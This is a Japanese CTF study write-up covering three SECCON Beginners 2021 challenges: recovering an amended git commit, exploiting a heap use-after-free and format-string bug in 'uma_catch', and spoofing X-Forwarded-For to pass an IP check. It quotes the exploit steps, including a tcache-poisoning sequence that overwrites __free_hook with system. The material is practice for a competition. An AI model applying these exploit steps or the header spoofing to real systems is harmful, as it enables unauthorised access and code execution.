SECCON Beginners CTF 2021 解けなかった問題を勉強した記録2

SECCON Beginners CTF 2021 解けなかった問題を勉強した記録2
悔しさを忘れないために残す
反省なくして，進歩なし

# misc 01 git-leak

## 問題

後輩が誤って機密情報をコミットしてしまったらしいです。ひとまずコミットを上書きして消したからこれで大丈夫ですよね？

どっかで見たな。へじゃぶ

## 当日の行動

最近覚えたてのアレで

```
$ git log --all -p flag.txt
fatal: ambiguous argument 'flag.txt': unknown revision or path not in the working tree.
Use '--' to separate paths from revisions, like this:
'git <command> [<revision>...] -- [<file>...]'
```

ありっ，通用しねー。

## 復習と反省

反省の結論
ググり方が悪い
「git log 戻す」で検索するとバンバンに出てくる

https://qiita.com/task4233/items/6f1c63d4688d06ecbb7c

コミット履歴を見る

```
# git reflog
e0b545f (HEAD -> master) HEAD@{0}: commit (amend): feat: めもを追加
80f3044 HEAD@{1}: commit (amend): feat: めもを追加
b3bfb5c HEAD@{2}: rebase -i (finish): returning to refs/heads/master
b3bfb5c HEAD@{3}: commit (amend): feat: めもを追加
7387982 HEAD@{4}: rebase -i: fast-forward
36a4809 HEAD@{5}: rebase -i (start): checkout HEAD~2
7387982 HEAD@{6}: reset: moving to HEAD
7387982 HEAD@{7}: commit: feat: めもを追加
36a4809 HEAD@{8}: commit: feat: commit-treeの説明を追加
9ac9b0c HEAD@{9}: commit: change: 順番を変更
8fc078d HEAD@{10}: commit: feat: git cat-fileの説明を追加
d3b47fe HEAD@{11}: commit: feat: fsckを追記する
f66de64 HEAD@{12}: commit: feat: reflogの説明追加
d5aeffe HEAD@{13}: commit: feat: resetの説明を追加
a4f7fe9 HEAD@{14}: commit: feat: git logの説明を追加
9fcb006 HEAD@{15}: commit: feat: git commitの説明追加
6d21e22 HEAD@{16}: commit: feat: git addの説明を追加
656db59 HEAD@{17}: commit: feat: add README.md
c27f346 HEAD@{18}: commit (initial): initial commit
```

https://qiita.com/yamazon/items/0b024a848357c50e580f

`git rebase -i` というのがコミット履歴の編集らしい

コミットハッシュから中身のデータを確認する
（まずブランチ見てから，そのtreeを見る）

```
# git cat-file -p b3bfb5c
tree 2ffbe58a4725879e711a2935a9001a33c901e58c
parent 36a4809f1ae8013432eb52cfd2f9f062a3269499
author task4233 <29667656+task4233@users.noreply.github.com> 1620491725 +0900
committer task4233 <29667656+task4233@users.noreply.github.com> 1620491811 +0900

feat: めもを追加

# git cat-file -p 2ffbe58a4725879e711a2935a9001a33c901e58c
100644 blob 16290835a0f74ccf30cbf30d791c84392a9dcce6	README.md
100644 blob 62337fdb59ceb048f7da9eaf768923d744930842	note.md
```

ハズレ。次

```
# git cat-file -p 7387982
tree a5b6b52f47aba96730ab61471ddcdff864e5dd8c
parent 36a4809f1ae8013432eb52cfd2f9f062a3269499
author task4233 <29667656+task4233@users.noreply.github.com> 1620491725 +0900
committer task4233 <29667656+task4233@users.noreply.github.com> 1620491725 +0900

feat: めもを追加

# git cat-file -p a5b6b52f47aba96730ab61471ddcdff864e5dd8c
100644 blob 16290835a0f74ccf30cbf30d791c84392a9dcce6	README.md
100644 blob 4cbb035d2ff072127b4e22919485127d2273e88e	flag.txt    <---
100644 blob 62337fdb59ceb048f7da9eaf768923d744930842	note.md
```

ビンゴ

```
# git cat-file -p 4cbb035d2ff072127b4e22919485127d2273e88e
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
```

別解

git checkout でブランチを切り替える

https://www.atmarkit.co.jp/ait/articles/2004/24/news028.html

```
# ls
note.md  README.md                        <--- 2 file

# git checkout 7387982
M	README.md
M	note.md
Note: checking out '7387982'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b <new-branch-name>

HEAD is now at 7387982 feat: めもを追加

# ls
flag.txt  note.md  README.md             <--- 増えてる

# cat flag.txt 
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
```

別解２

git reset --hard （戻りたいコミットのコミットコード）

https://techacademy.jp/magazine/10260

```
# git reset --hard 7387982
HEAD is now at 7387982 feat: めもを追加

# ls
flag.txt  note.md  README.md

# cat flag.txt
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
```

この状態からなら前覚えたやついけるかも？

```
# git log --all -p flag.txt
commit 73879828a8ecac85c705508cdc9398f26c697249 (HEAD -> master)
Author: task4233 <29667656+task4233@users.noreply.github.com>
Date:   Sun May 9 01:35:25 2021 +0900

    feat: めもを追加

diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..4cbb035
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1 @@
+ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
```

おー，いけた。
これなら編集の過程も見えるはず。

別解３

全てのblobはzlibで圧縮されているので、全てのblobを解凍する
pythonコードは作問者writeupを参照

```
# python3 git.py 
blob 40ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
```


# pwn 03 uma_catch

## 問題
ウマを踊らせたりできるアプリケーションです．
うーー(うまきゃっち)
nc uma-catch.quals.beginners.seccon.jp 4101

配布データ

```
chall
libc-2.27.so
src.c
```

```c:src.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void catch();
void naming();
void show();
void dance();
void release();
int read_int();

struct hourse {
    char name[0x20];
    void (*dance)();
};

struct hourse *list[10] = {NULL};

int main() {
    int cmd;
    puts("-*-*-*-*-");
    puts("UMA catch");
    puts("-*-*-*-*-");
    puts("");
    puts("Commands");
    puts("1. catch hourse");
    puts("2. naming hourse");
    puts("3. show hourse");
    puts("4. dance");
    puts("5. release hourse");
    puts("6. exit");

    while (1) {
        puts("");
        printf("command?\n> ");
        cmd = read_int();
        switch (cmd) {
            case 1:
                catch();
                break;
            case 2:
                naming();
                break;
            case 3:
                show();
                break;
            case 4:
                dance();
                break;
            case 5:
                release();
                break;
            case 6:
                exit(0);
            default:
                break;
        }
    }
}

int read_int() {
    char buf[0x10];
    buf[read(0, buf, 0xf)] = 0;

    return atoi(buf);
}

void bay_dance() {
    puts(
        "　　 (＼ノ))／)\n"
        "　　　Ｙ 彡 Ｙ\n"
        "　　　 (●　●)\n"
        "　　　 ∧|　|∧\n"
        "　＿／　(^^)　＼＿\n"
        "　L/／|　￣　|＼L/\n"
        "　　　|　ｘ　|彡\n"
        "　　　ヽ ＿ ノ\n"
        "　　　 |｜｜|\n"
        "　　 〈二)(二〉\n"
    );
    sleep(1);
    puts(
        "　　 (＼ノ))／)\n"
        "　　　Ｙ彡彡Ｙ\n"
        "　　　(●)(●)　/ヲ\n"
        "　　　∧　　∧／／\n"
        "　＿／ |^⌒^| ／\n"
        "　L/／|ヽ二ノ|\n"
        "　　　|　ｘ　|彡\n"
        "　　　ヽ ＿ ノ\n"
        "　　　 |｜｜|\n"
        "　　 〈二)(二〉\n"
    );
    sleep(1);
    puts(
        "　　 (＼ノ))／)\n"
        "　　　Ｙ 彡 Ｙ\n"
        "　　　 (●　●)\n"
        "　　　 ∧|　|∧\n"
        "　＿／　(^^)　＼＿\n"
        "　L/／|　￣　|＼L/\n"
        "　　　|　ｘ　|彡\n"
        "　　　ヽ ＿ ノ\n"
        "　　　 |｜｜|\n"
        "　　 〈二)(二〉\n"
    );
}

void chestnut_dance() {
    puts(
        "　　 (＼ノ))／)\n"
        "　　　Ｙ彡彡Ｙ\n"
        "　　　(●)(●)　/ヲ\n"
        "　　　∧　　∧／／\n"
        "　＿／ |^⌒^| ／\n"
        "　L/／|ヽ二ノ|\n"
        "　　　|　ｘ　|彡\n"
        "　　　ヽ ＿ ノ\n"
        "　　　 |｜｜|\n"
        "　　 〈二)(二〉"
    );
    sleep(1);
    puts(
        "　　 (＼ノ))／)\n"
        "　　　Ｙ 彡 Ｙ\n"
        "　　　 (●　●)\n"
        "　　　 ∧|　|∧\n"
        "　＿／　(^^)　＼＿\n"
        "　L/／|　￣　|＼L/\n"
        "　　　|　ｘ　|彡\n"
        "　　　ヽ ＿ ノ\n"
        "　　　 |｜｜|\n"
        "　　 〈二)(二〉"
    );
    sleep(1);
    puts(
        "　　 (＼ノ))／)\n"
        "　　　Ｙ 彡 Ｙ\n"
        "　　　 (●　●)\n"
        "　　　 ∧|　|∧\n"
        "　＿／　(^^)　＼＿\n"
        "　L/／|　￣　|＼L/\n"
        "　　ミ|　ｘ　|\n"
        "　　　ヽ ＿ ノ\n"
        "　　　 |｜｜|\n"
        "　　 〈二)(二〉"
    );
}

void gray_dance() {
    puts(
        "　　 (＼ノ))／)\n"
        "　　　Ｙ 彡 Ｙ\n"
        "　　　 (●　●)\n"
        "　　　 ∧|　|∧\n"
        "　＿／　(^^)　＼＿\n"
        "　L/／|　￣　|＼L/\n"
        "　　ミ|　ｘ　|\n"
        "　　　ヽ ＿ ノ\n"
        "　　　 |｜｜|\n"
        "　　 〈二)(二〉\n"
    );
    sleep(1);
    puts(
        "　　 (＼ノ))／)\n"
        "　　　Ｙ 彡 Ｙ\n"
        "　　　 (●　●)\n"
        "　　　 ∧|　|∧\n"
        "　＿／　(^^)　＼＿\n"
        "　L/／|　￣　|＼L/\n"
        "　　　|　ｘ　|彡\n"
        "　　　ヽ ＿ ノ\n"
        "　　　 |｜｜|\n"
        "　　 〈二)(二〉\n"
    );
    sleep(1);
    puts(
        "　　 (＼ノ))／)\n"
        "　　　Ｙ彡彡Ｙ\n"
        "　　　(●)(●)　/ヲ\n"
        "　　　∧　　∧／／\n"
        "　＿／ |^⌒^| ／\n"
        "　L/／|ヽ二ノ|\n"
        "　　　|　ｘ　|彡\n"
        "　　　ヽ ＿ ノ\n"
        "　　　 |｜｜|\n"
        "　　 〈二)(二〉\n"
    );
}

int get_index() {
    printf("index?\n> ");
    return read_int();
}

void show() {
    printf(list[get_index()]->name);
}

void catch() {
    int i = get_index();
    list[i] = malloc(sizeof(struct hourse));
    while (1) {
        printf("color?(bay|chestnut|gray)\n> ");
        char buf[10];
        buf[read(0, buf, 9)] = 0;
        if (strncmp(buf, "bay", 3) == 0) { list[i]->dance = bay_dance; break; }
        if (strncmp(buf, "chestnut", 8) == 0) { list[i]->dance = chestnut_dance; break; }
        if (strncmp(buf, "gray", 4) == 0) { list[i]->dance = gray_dance; break; }
    }
}

void dance() {
    int i = get_index();
    list[i]->dance();
}

void naming() {
    int i = get_index();
    printf("name?\n> ");
    fgets(list[i]->name, 0x20, stdin);
}

void release() {
    free(list[get_index()]);
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}
```

## 当日の行動

ソース見てbofが無いように思えたので，解けるレベルではないとあきらめました。

## 復習と反省

脆弱性は本当に見つけられないレベルだったのか？

naming機能

```
# ./chall
-*-*-*-*-
UMA catch
-*-*-*-*-

Commands
1. catch hourse
2. naming hourse
3. show hourse
4. dance
5. release hourse
6. exit

command?
> 2
index?
> 0
name?
> AAA
Segmentation fault (core dumped)
```

catchしていないindexを指定するとセグフォする。
では，free後は？

```
# ./chall
-*-*-*-*-
UMA catch
-*-*-*-*-

Commands
1. catch hourse
2. naming hourse
3. show hourse
4. dance
5. release hourse
6. exit

command?
> 1
index?
> 0
color?(bay|chestnut|gray)
> bay

command?
> 5
index?
> 0

command?
> 2
index?
> 0
name?
> AAA

command?
> 3
index?
> 0
AAA
```

あるじゃん脆弱性
Use After Free

libc leakは？

writeup登場

https://feneshi.co/ctf4b2021writeup/#uma_catch

あー逃げ続けてきた fsb か。
これってWindowsのマルウェア解析の役に立ちそうにないので，勉強するモチベ上がらんのよね。

```
gdbでいい感じのindexを探すと，%11$pに__libc_start_main+0xe7があるのがわかるので，これを使います

catch(0)
naming(0, "%11$p")
libc_base = (int(show(0).decode()[2:-1], 16) - 0xe7 - libc.sym['__libc_start_main'])
```

`__libc_start_main+0xe7`ってどこにある？
あった
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/103a54ee-d629-881c-5760-357cb6517980.png)

```
0000| 0x7fffffffe448 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
```

%11$p って何？

スタックアドレス 0x7fffffffe448 とどういう関係？
catch(0)
naming(0, "AAA")
show(0)
を追ってみる。

```
RAX: 0x555555559260 --> 0x0 

   0x5555555555a3 <catch+45>:	call   0x555555555190 <malloc@plt>
=> 0x5555555555a8 <catch+50>:	mov    rcx,rax
```

```
gdb-peda$ x/10xg 0x555555559260
0x555555559260:	0x000000000a414141	0x0000000000000000
0x555555559270:	0x0000000000000000	0x0000000000000000
0x555555559280:	0x0000555555555451	0x0000000000020d81
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/79717feb-833e-3946-6d9d-0f0d9db16659.png)

```
gdb-peda$ x/20xg 0x7fffffffe420
0x7fffffffe420:	0x00007fffffffe440	0x00005555555553cf
0x7fffffffe430:	0x00007fffffffe520	0x0000000300000000
0x7fffffffe440:	0x00005555555557f0	0x00007ffff7a03bf7
```

`call   0x555555555150 <printf@plt>` の直前だと RSP は
0x7fffffffe420 で
0x7fffffffe448 に近い
スタックの 1から数えて`6番目` にいる。
~~%11$p の 11 がスタックの 11 番目とすると，試行錯誤なのかな？~~

printf の中でさらにスタックが積まれるかもしれないが，その数が libc-2.27.so ならば 5 と覚えて，printf@plt の時点のスタック距離（この場合6）と5を足して11前後で試行錯誤と覚えておこう。

普通に動かしての試行錯誤はこんな感じ

```
# ./uma_catch
-*-*-*-*-
UMA catch
-*-*-*-*-

Commands
1. catch hourse
2. naming hourse
3. show hourse
4. dance
5. release hourse
6. exit

command?
> 1
index?
> 0
color?(bay|chestnut|gray)
> bay

command?
> 2
index?
> 0
name?
> %11$p

command?
> 3
index?
> 0
0x7ffff7a03bf7
```

https://qiita.com/housu_jp/items/148c34d7df8b7cb2765f#satoooon%E6%B0%8F%E3%81%AEwriteup%E3%82%92%E3%83%99%E3%83%BC%E3%82%B9%E3%81%AB%E8%A7%A3%E3%81%8F

WaniCTF 2020 pwn 08 heap を勉強した記録でもsatoooon氏が%11を使ってる

リークさせたいアドレス（再掲）

```
0000| 0x7fffffffe448 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
```

リーク結果

```
[*] leak_addr = 0x7f8c1f3d9bf7
[*] Switching to interactive mode
```

ASLR無効にしてなかった。
でも末尾 bf7 が同じじゃけ，当たっとる。
%11の謎は未解決だけど，だめなら前後探すってことで，次。

---
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/e37f2817-967c-a320-987a-b993c09ef6fa.png)

---

```
次に，namingのUAFを使って，tcache poisoningを行います．

release(0)

# nextを__free_hookに書き換える
naming(0, pack(libc_base + libc.sym['__free_hook']))

# このcatchでは，最初のcatch(0)と同じ領域が返ってくる
catch(1)
naming(1, b'sh\0')

# このcatchで__free_hookが返ってくるので，systemに書き換える
catch(2)
naming(2, pack(libc_base + libc.sym['system']))

# このreleaseは，system("sh")と同じ
release(1)
```

ここは通いなれた道だ。

先生の説明だと`nextを__free_hookに書き換える`だが自分としては，
`これすると tcache に __free_hook のアドレスがつながる`のほうがしっくりくる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/5bc37e87-256a-d018-3c86-c08384b33c73.png)



# web 04 json

## 問題

外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
https://json.quals.beginners.seccon.jp/

```:nginxのconfファイル
server {
    listen       80;
    listen  [::]:80;
    server_name  localhost;

    location / {
        proxy_pass   http://bff:8080;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }

}
```

```go:bffのmain
package main

import (
	"bytes"
	"encoding/json"
	"io/ioutil"
	"net"
	"net/http"

	"github.com/gin-gonic/gin"
)

type Info struct {
	ID int `json:"id" binding:"required"`
}

// check if the accessed user is in the local network (192.168.111.0/24)
func checkLocal() gin.HandlerFunc {
	return func(c *gin.Context) {
		clientIP := c.ClientIP()
		ip := net.ParseIP(clientIP).To4()
		if ip[0] != byte(192) || ip[1] != byte(168) || ip[2] != byte(111) {
			c.HTML(200, "error.tmpl", gin.H{
				"ip": clientIP,
			})
			c.Abort()
			return
		}
	}
}

func main() {
	r := gin.Default()
	r.Use(checkLocal())
	r.LoadHTMLGlob("templates/*")

	r.GET("/", func(c *gin.Context) {
		c.HTML(200, "index.html", nil)
	})

	r.POST("/", func(c *gin.Context) {
		// get request body
		body, err := ioutil.ReadAll(c.Request.Body)
		if err != nil {
			c.JSON(400, gin.H{"error": "Failed to read body."})
			return
		}

		// parse json
		var info Info
		if err := json.Unmarshal(body, &info); err != nil {
			c.JSON(400, gin.H{"error": "Invalid parameter."})
			return
		}

		// validation
		if info.ID < 0 || info.ID > 2 {
			c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
			return
		}

		if info.ID == 2 {
			c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
			return
		}

		// get data from api server
		req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body))
		if err != nil {
			c.JSON(400, gin.H{"error": "Failed to request API."})
			return
		}
		req.Header.Set("Content-Type", "application/json")
		client := new(http.Client)
		resp, err := client.Do(req)
		if err != nil {
			c.JSON(400, gin.H{"error": "Failed to request API."})
			return
		}
		defer resp.Body.Close()
		result, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			c.JSON(400, gin.H{"error": "Failed to request API."})
			return
		}

		c.JSON(200, gin.H{"result": string(result)})
	})

	if err := r.Run(":8080"); err != nil {
		panic("server is not started")
	}
}
```

```go:apiのmain
package main

import (
	"io/ioutil"
	"os"

	"github.com/buger/jsonparser"
	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()

	r.POST("/", func(c *gin.Context) {
		body, err := ioutil.ReadAll(c.Request.Body)
		if err != nil {
			c.String(400, "Failed to read body")
			return
		}

		id, err := jsonparser.GetInt(body, "id")
		if err != nil {
			c.String(400, "Failed to parse json")
			return
		}

		if id == 0 {
			c.String(200, "The quick brown fox jumps over the lazy dog.")
			return
		}
		if id == 1 {
			c.String(200, "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.")
			return
		}
		if id == 2 {
			// Flag!!!
			flag := os.Getenv("FLAG")
			c.String(200, flag)
			return
		}

		c.String(400, "No data")
	})

	if err := r.Run(":8000"); err != nil {
		panic("server is not started")
	}
}
```

## 当日の行動

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/9c581f56-6c09-e398-816f-6cfa590e8230.png)

picoCTF2021 Who are you? で痛い目にあった X-Forwarded-For: を使ってみる。
X-Forwarded-For: 192.168.111.1

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/d4412105-8651-514a-e8fc-ca0457763318.png)

なぜか？いけた。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/e5766475-c2aa-f2c2-0139-fce9015c53bf.png)

Quick brown fox を submit
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/c53a2d4e-ffb8-4d47-b9d2-268339e75025.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/ff677069-cf0c-f6f5-c5eb-2b86cb09e6fb.png)
json で { "id":0 } を送ってる


Lorem ipsum を submit
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/a27464a7-7e2e-213d-6542-a1dc6705ced9.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/6379d812-9322-913f-a537-82623876fb3b.png)
json で { "id":1 } を送ってる


Flag を submit
エラーだ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/2d21f16f-d521-1d04-333e-90ae7c21416b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/be372d50-ec8c-ef5a-c6df-172123c09d13.png)
json で { "id":2 } を送ってるが，通らない

当日はここまででギブ

## 復習と反省

まず，X-Forwarded-For:で騙せた理由

https://www.serotoninpower.club/archives/790/#%E5%85%AC%E5%BC%8F%E3%83%88%E3%82%99%E3%82%AD%E3%83%A5%E3%83%A1%E3%83%B3%E3%83%88%E3%81%AE-proxy-add-x-forwarded-for-%E3%81%AE%E8%AA%AC%E6%98%8E

X-Forwarded-For:で騙せたのは nginx の設定ミス。
このnginxは，フロントエンドなので，アクセス者に騙されてはいけない。
nginxのconfを確認すると


```:設定ミス発見
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
```

```:本来あるべき姿
        proxy_set_header X-Forwarded-For $remote_addr;
```

```:もし，このnginxがロードバランサ等の陰に隠れている場合なら，これでもOk
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
```

ここから先は作問者writeup頼み

https://hi120ki.github.io/blog/posts/20210523-2/

まず，nginxの通信先はconfから

```
    location / {
        proxy_pass   http://bff:8080;
```

bffとわかる

問題サーバから入手したデータにbffというディレクトリがあった。
main.goを見ると

```
		if info.ID == 2 {
			c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
			return
		}
```

{ "id":2 }でエラーになった部分のコードがある。
It is forbidden to retrieve Flag from this BFF server.のメッセージも見覚えがある。

では，エラーではないときはbffは何をするか

```
		// get data from api server
		req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body))
```

apiに飛ばしてる
問題サーバから入手したデータにapiというディレクトリがあった。
main.goを見ると

```
		if id == 2 {
			// Flag!!!
			flag := os.Getenv("FLAG")
			c.String(200, flag)
			return
		}
```

id = 2 で flagがとれる

反省
ここまでは当日でも来れたはずだ。
もらったファイルをよく見ないと。
難しい問題だからこそファイルが増える。
そこでいい加減なことをしてたら絶対解けない。
正解までは無理だけど。

正解は`二重キーの解釈の差`を突くだ。（難しい）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/b9128051-8566-0ab8-a6f7-3cb2c82fd052.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/efb13c05-00e3-57a4-8da3-ea09e8999006.png)

ところで bff って何だ？

https://www.atmarkit.co.jp/ait/articles/1805/18/news022.html

Backends For Frontends みたいです。